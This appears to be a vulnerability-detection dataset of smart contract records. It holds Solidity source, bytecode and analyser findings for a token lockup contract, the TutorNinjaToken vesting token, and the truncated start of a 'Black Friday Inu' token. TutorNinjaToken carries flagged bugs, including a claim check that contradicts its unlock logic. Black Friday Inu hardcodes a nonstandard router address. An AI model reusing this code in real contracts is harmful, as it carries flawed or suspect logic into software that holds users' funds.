* returns the multiplier balance.
*/
function balance(address _user) public view returns(uint) {
return _users[_user].balance;
}
/*
* @dev get the approved Traditional contract address
* --------------------------------------------------
* @param _user --> the address of the user
* ----------------------------------------
* returns the approved contract address
*/
function approvedContract(address _user) external view returns(address) {
return _users[_user].approved;
}
/*
* @dev get the release of the multiplier balance.
* ---------------------------------------------
* @param user --> the address of the user.
* ---------------------------------------
* returns the release timestamp.
*/
function lockupPeriod(address _user) external view returns(uint) {
uint release = _users[_user].release;
if (release > now) return (release.sub(now));
else return 0;
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063a5f980271161005b578063a5f980271461012a578063b1a6505f14610150578063b6b55f2514610192578063e3d670d7146101af57610088565b806307f7aafb1461008d5780632e1a7d4d146100c75780638775babf146100e457806395dbf049146100fe575b600080fd5b6100b3600480360360208110156100a357600080fd5b50356001600160a01b03166101d5565b604080519115158252519081900360200190f35b6100b3600480360360208110156100dd57600080fd5b5035610301565b6100ec61053f565b60408051918252519081900360200190f35b6100b36004803603604081101561011457600080fd5b506001600160a01b038135169060200135610544565b6100ec6004803603602081101561014057600080fd5b50356001600160a01b03166106f5565b6101766004803603602081101561016657600080fd5b50356001600160a01b0316610735565b604080516001600160a01b039092168252519081900360200190f35b6100b3600480360360208110156101a857600080fd5b5035610756565b6100ec600480360360208110156101c557600080fd5b50356001600160a01b03166108e8565b336000908152600160205260408120600201546001600160a01b038381169116141561023b576040805162461bcd60e51b815260206004820152601060248201526f185b1c9958591e48185c1c1c9bdd995960821b604482015290519081900360640190fd5b61024482610903565b610295576040805162461bcd60e51b815260206004820152601b60248201527f63616e206f6e6c7920617070726f7665206120636f6e74726163740000000000604482015290519081900360640190fd5b3360008181526001602090815260409182902060020180546001600160a01b0319166001600160a01b038716908117909155825190815291517f329b5f7db63f569f81bfeb8c6fbbc6bba7274d06a644011a6f3e7ac77ab0cf769281900390910190a25060015b919050565b33600090815260016020819052604082200154421015610360576040805162461bcd60e51b81526020600482015260156024820152746d757374207761697420666f722072656c6561736560581b604482015290519081900360640190fd5b600082116103b5576040805162461bcd60e51b815260206004820152601f60248201527f616d6f756e74206d757374206265206c6172676572207468616e207a65726f00604482015290519081900360640190fd5b816103bf336108e8565b1015610412576040805162461bcd60e51b815260206004820152601e60248201527f6d757374206861766520612073756666696369656e742062616c616e63650000604482015290519081900360640190fd5b6104258261041f336108e8565b90610909565b336000818152600160209081526040808320949094558154845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561048957600080fd5b505af115801561049d573d6000803e3d6000fd5b505050506040513d60208110156104b357600080fd5b50516104fe576040805162461bcd60e51b81526020600482015260156024820152741d1bdad95b881d1c985b9cd9995c8819985a5b1959605a1b604482015290519081900360640190fd5b60408051838152426020820152815133927f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc6928290030190a2506001919050565b600290565b600061054f33610903565b6105a0576040805162461bcd60e51b815260206004820152601e60248201527f6f6e6c79206120736d61727420636f6e74726163742063616e2063616c6c0000604482015290519081900360640190fd5b6001600160a01b03838116600090815260016020526040902060020154163314610611576040805162461bcd60e51b815260206004820152601860248201527f636f6e7472616374206973206e6f7420617070726f7665640000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260016020819052604090912001546106384284610952565b1161068a576040805162461bcd60e51b815260206004820152601c60248201527f63616e6e6f74207265647563652063757272656e74206c6f636b757000000000604482015290519081900360640190fd5b6106944283610952565b6001600160a01b0384166000818152600160208181526040928390209091019390935580518581529051919233927f3f7c04c55e585b16eb8e20cacce925f7fb41145a9adf72f143a56303a8917ab39281900390910190a350600192915050565b6001600160a01b0381166000908152600160208190526040822001544281111561072b576107238142610909565b9150506102fc565b60009150506102fc565b6001600160a01b039081166000908152600160205260409020600201541690565b60008082116107ac576040805162461bcd60e51b815260206004820152601f60248201527f616d6f756e74206d757374206265206c6172676572207468616e207a65726f00604482015290519081900360640190fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561080757600080fd5b505af115801561081b573d6000803e3d6000fd5b505050506040513d602081101561083157600080fd5b5051610884576040805162461bcd60e51b815260206004820152601760248201527f616d6f756e74206d75737420626520617070726f766564000000000000000000604482015290519081900360640190fd5b61089782610891336108e8565b90610952565b33600081815260016020908152604091829020939093558051858152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a2506001919050565b6001600160a01b031660009081526001602052604090205490565b3b151590565b600061094b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ac565b9392505050565b60008282018381101561094b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115610a3b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a005781810151838201526020016109e8565b50505050905090810190601f168015610a2d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fea26469706673582212200ac9d9ba9c459dbce5a07fdb93c23e735e522c0e59e3560edb19d7a7d8363de664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,153 |
0x6c261f1875384d004ee34731bd5fc5055ee0e238
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract DateKernel
{
uint256 public unlockTime;
constructor(uint256 _time) public {
unlockTime = _time;
}
function determineDate() internal view
returns (uint256 v)
{
uint256 n = now;
uint256 ut = unlockTime;
uint256 mo = 30 * 1 days;
uint8 p = 10;
assembly {
if sgt(n, ut) {
if or(slt(sub(n, ut), mo), eq(sub(n, ut), mo)) {
v := 1
}
if sgt(sub(n, ut), mo) {
v := add(div(sub(n, ut), mo), 1)
}
if or(eq(v, p), sgt(v, p)) {
v := p
}
}
}
}
}
contract Distributable is StandardToken, Ownable, Whitelist, DateKernel {
using SafeMath for uint;
event Distributed(uint256 amount);
event MemberUpdated(address member, uint256 balance);
struct member {
uint256 lastWithdrawal;
uint256 tokensTotal;
uint256 tokensLeft;
}
mapping (address => member) public teams;
function _transfer(address _from, address _to, uint256 _value) private returns (bool) {
require(_value <= balances[_from]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function updateMember(address _who, uint256 _last, uint256 _total, uint256 _left) internal returns (bool) {
teams[_who] = member(_last, _total, _left);
emit MemberUpdated(_who, _left);
return true;
}
function airdrop(address[] dests, uint256[] values) public onlyOwner {
// This simple validation will catch most mistakes without consuming
// too much gas.
require(dests.length == values.length);
for (uint256 i = 0; i < dests.length; i++) {
transfer(dests[i], values[i]);
}
}
function distributeTokens(address[] _member, uint256[] _amount)
onlyOwner
public
returns (bool)
{
require(_member.length == _amount.length);
for (uint256 i = 0; i < _member.length; i++) {
updateMember(_member[i], 0, _amount[i], _amount[i]);
addAddressToWhitelist(_member[i]);
}
emit Distributed(_member.length);
return true;
}
function rewardController(address _member)
internal
returns (uint256)
{
member storage mbr = teams[_member];
require(mbr.tokensLeft > 0, "You've spent your share");
uint256 multiplier;
uint256 callback;
uint256 curDate = determineDate();
uint256 lastDate = mbr.lastWithdrawal;
if(curDate > lastDate) {
multiplier = curDate.sub(lastDate);
} else if(curDate == lastDate) {
revert("Its no time");
}
if(mbr.tokensTotal >= mbr.tokensLeft && mbr.tokensTotal > 0) {
if(curDate == 10) {
callback = mbr.tokensLeft;
} else {
callback = multiplier.mul((mbr.tokensTotal).div(10));
}
}
updateMember(
_member,
curDate,
mbr.tokensTotal,
mbr.tokensLeft.sub(callback)
);
return callback;
}
function getDistributedToken()
public
onlyIfWhitelisted(msg.sender)
returns(bool)
{
require(unlockTime > now);
uint256 amount = rewardController(msg.sender);
_transfer(this, msg.sender, amount);
return true;
}
}
contract TutorNinjaToken is Distributable, BurnableToken, CanReclaimToken, Claimable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public INITIAL_SUPPLY = 33e6 * (10 ** uint256(decimals));
constructor()
public
DateKernel(1541030400)
{
name = "Tutor Ninja";
symbol = "NTOK";
decimals = 10;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function() external {
revert("Does not accept ether");
}
}
|
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610209578063095ea7b3146102935780630988ca8c146102cb57806317ffc3201461033457806318160ddd1461035557806318b919e91461037c578063217fe6c61461039157806323b872dd146103f857806324953eaa14610422578063251c1aa31461047757806327d6ba211461048c578063286dd3f5146104a15780632ff2e9dc146104c2578063313ce567146104d757806342966c68146105025780634bd09c2a1461051a5780634e71e0c8146105a857806366188463146105bd57806367243482146105e157806370a082311461066f578063715018a6146106905780637b9417c8146106a55780638da5cb5b146106c657806395d89b41146106f75780639b19251a1461070c578063a9059cbb1461072d578063c458324014610751578063d73dd62314610790578063dd62ed3e146107b4578063e2ec6ec3146107db578063e30c397814610830578063f2fde38b14610845575b3480156101a157600080fd5b50604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f446f6573206e6f74206163636570742065746865720000000000000000000000604482015290519081900360640190fd5b34801561021557600080fd5b5061021e610866565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610258578181015183820152602001610240565b50505050905090810190601f1680156102855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029f57600080fd5b506102b7600160a060020a03600435166024356108f4565b604080519115158252519081900360200190f35b3480156102d757600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610332958335600160a060020a031695369560449491939091019190819084018382808284375094975061095b9650505050505050565b005b34801561034057600080fd5b50610332600160a060020a03600435166109c9565b34801561036157600080fd5b5061036a610a93565b60408051918252519081900360200190f35b34801561038857600080fd5b5061021e610a99565b34801561039d57600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526102b7958335600160a060020a0316953695604494919390910191908190840183828082843750949750610abe9650505050505050565b34801561040457600080fd5b506102b7600160a060020a0360043581169060243516604435610b31565b34801561042e57600080fd5b506040805160206004803580820135838102808601850190965280855261033295369593946024949385019291829185019084908082843750949750610c949650505050505050565b34801561048357600080fd5b5061036a610ce3565b34801561049857600080fd5b506102b7610ce9565b3480156104ad57600080fd5b50610332600160a060020a0360043516610d48565b3480156104ce57600080fd5b5061036a610d8f565b3480156104e357600080fd5b506104ec610d95565b6040805160ff9092168252519081900360200190f35b34801561050e57600080fd5b50610332600435610d9e565b34801561052657600080fd5b50604080516020600480358082013583810280860185019096528085526102b795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610da89650505050505050565b3480156105b457600080fd5b50610332610e98565b3480156105c957600080fd5b506102b7600160a060020a0360043516602435610f22565b3480156105ed57600080fd5b506040805160206004803580820135838102808601850190965280855261033295369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506110119650505050505050565b34801561067b57600080fd5b5061036a600160a060020a036004351661108c565b34801561069c57600080fd5b506103326110a7565b3480156106b157600080fd5b50610332600160a060020a0360043516611115565b3480156106d257600080fd5b506106db611159565b60408051600160a060020a039092168252519081900360200190f35b34801561070357600080fd5b5061021e611168565b34801561071857600080fd5b506102b7600160a060020a03600435166111c3565b34801561073957600080fd5b506102b7600160a060020a03600435166024356111f2565b34801561075d57600080fd5b50610772600160a060020a03600435166112bf565b60408051938452602084019290925282820152519081900360600190f35b34801561079c57600080fd5b506102b7600160a060020a03600435166024356112e0565b3480156107c057600080fd5b5061036a600160a060020a0360043581169060243516611379565b3480156107e757600080fd5b5060408051602060048035808201358381028086018501909652808552610332953695939460249493850192918291850190849080828437509497506113a49650505050505050565b34801561083c57600080fd5b506106db6113e4565b34801561085157600080fd5b50610332600160a060020a03600435166113f3565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6109c5826004836040518082805190602001908083835b602083106109915780518252601f199092019160209182019101610972565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611439565b5050565b600354600090600160a060020a031633146109e357600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b505050506040513d6020811015610a6e57600080fd5b50516003549091506109c590600160a060020a0384811691168363ffffffff61144e16565b60015490565b6040805180820190915260098152600080516020611c1c833981519152602082015281565b6000610b2a836004846040518082805190602001908083835b60208310610af65780518252601f199092019160209182019101610ad7565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611501565b9392505050565b600160a060020a038316600090815260208190526040812054821115610b5657600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b8657600080fd5b600160a060020a0383161515610b9b57600080fd5b600160a060020a038416600090815260208190526040902054610bc4908363ffffffff61152016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610bf9908363ffffffff61153216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610c3b908363ffffffff61152016565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020611c3c833981519152929181900390910190a35060019392505050565b600354600090600160a060020a03163314610cae57600080fd5b5060005b81518110156109c557610cdb8282815181101515610ccc57fe5b90602001906020020151610d48565b600101610cb2565b60055481565b60008033610d1a81604080519081016040528060098152602001600080516020611c1c83398151915281525061095b565b6005544210610d2857600080fd5b610d313361153f565b9150610d3e303384611700565b5060019250505090565b600354600160a060020a03163314610d5f57600080fd5b610d8c81604080519081016040528060098152602001600080516020611c1c8339815191528152506117e5565b50565b600b5481565b600a5460ff1681565b610d8c33826118f6565b6003546000908190600160a060020a03163314610dc457600080fd5b8251845114610dd257600080fd5b5060005b8351811015610e5a57610e318482815181101515610df057fe5b9060200190602002015160008584815181101515610e0a57fe5b906020019060200201518685815181101515610e2257fe5b906020019060200201516119e5565b50610e528482815181101515610e4357fe5b90602001906020020151611115565b600101610dd6565b835160408051918252517fddc9c30275a04c48091f24199f9c405765de34d979d6847f5b9798a57232d2e59181900360200190a15060019392505050565b600754600160a060020a03163314610eaf57600080fd5b600754600354604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610f7657336000908152600260209081526040808320600160a060020a0388168452909152812055610fab565b610f86818463ffffffff61152016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a0316331461102b57600080fd5b815183511461103957600080fd5b5060005b82518110156110875761107e838281518110151561105757fe5b90602001906020020151838381518110151561106f57fe5b906020019060200201516111f2565b5060010161103d565b505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146110be57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461112c57600080fd5b610d8c81604080519081016040528060098152602001600080516020611c1c833981519152815250611a6e565b600354600160a060020a031681565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108ec5780601f106108c1576101008083540402835291602001916108ec565b600061095582604080519081016040528060098152602001600080516020611c1c833981519152815250610abe565b3360009081526020819052604081205482111561120e57600080fd5b600160a060020a038316151561122357600080fd5b33600090815260208190526040902054611243908363ffffffff61152016565b3360009081526020819052604080822092909255600160a060020a03851681522054611275908363ffffffff61153216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020611c3c8339815191529281900390910190a350600192915050565b60066020526000908152604090208054600182015460029092015490919083565b336000908152600260209081526040808320600160a060020a0386168452909152812054611314908363ffffffff61153216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600090600160a060020a031633146113be57600080fd5b5060005b81518110156109c5576113dc8282815181101515610e4357fe5b6001016113c2565b600754600160a060020a031681565b600354600160a060020a0316331461140a57600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6114438282611501565b15156109c557600080fd5b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156114ca57600080fd5b505af11580156114de573d6000803e3d6000fd5b505050506040513d60208110156114f457600080fd5b5051151561108757600080fd5b600160a060020a03166000908152602091909152604090205460ff1690565b60008282111561152c57fe5b50900390565b8181018281101561095557fe5b600160a060020a03811660009081526006602052604081206002810154829081908190819081106115d157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f596f75277665207370656e7420796f7572207368617265000000000000000000604482015290519081900360640190fd5b6115d9611b40565b85549092509050808211156115ff576115f8828263ffffffff61152016565b935061166e565b8082141561166e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f497473206e6f2074696d65000000000000000000000000000000000000000000604482015290519081900360640190fd5b846002015485600101541015801561168a575060008560010154115b156116ce5781600a14156116a457846002015492506116ce565b60018501546116cb906116be90600a63ffffffff611b9616565b859063ffffffff611bab16565b92505b6116f4878387600101546116ef878a6002015461152090919063ffffffff16565b6119e5565b50919695505050505050565b600160a060020a03831660009081526020819052604081205482111561172557600080fd5b600160a060020a038316151561173a57600080fd5b600160a060020a038416600090815260208190526040902054611763908363ffffffff61152016565b600160a060020a038086166000908152602081905260408082209390935590851681522054611798908363ffffffff61153216565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919392881692600080516020611c3c83398151915292918290030190a35060019392505050565b61184f826004836040518082805190602001908083835b6020831061181b5780518252601f1990920191602091820191016117fc565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611bd4565b81600160a060020a03167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b838110156118b85781810151838201526020016118a0565b50505050905090810190601f1680156118e55780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600160a060020a03821660009081526020819052604090205481111561191b57600080fd5b600160a060020a038216600090815260208190526040902054611944908263ffffffff61152016565b600160a060020a038316600090815260208190526040902055600154611970908263ffffffff61152016565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020611c3c8339815191529181900360200190a35050565b604080516060810182528481526020808201858152828401858152600160a060020a038916600081815260068552868120955186559251600186015590516002909401939093558351928352908201849052825190927f721b01fe9b63fefb91c981e165c04d96058511dc990901f8d80c37dd2f6f695e928290030190a1506001949350505050565b611ad8826004836040518082805190602001908083835b60208310611aa45780518252601f199092019160209182019101611a85565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050611bf6565b81600160a060020a03167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982604051808060200182810382528381815181526020019150805190602001908083836000838110156118b85781810151838201526020016118a0565b600554600090429062278d00600a82841315611b8f578284038281129083141715611b6a57600194505b818385031315611b7f57600182848603040194505b8085138186141715611b8f578094505b5050505090565b60008183811515611ba357fe5b049392505050565b6000821515611bbc57506000610955565b50818102818382811515611bcc57fe5b041461095557fe5b600160a060020a0316600090815260209190915260409020805460ff19169055565b600160a060020a0316600090815260209190915260409020805460ff19166001179055560077686974656c6973740000000000000000000000000000000000000000000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c42f8ff82969320bb91d21cba306765b13bf914e3bbdb2b31cd6b4d4c23716bf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,154 |
0xa1dae2a01a50d8e378ecf14519706ae75b38d386
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/blackfridayinu
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="BF";
string constant TOKEN_NAME="Black Friday Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
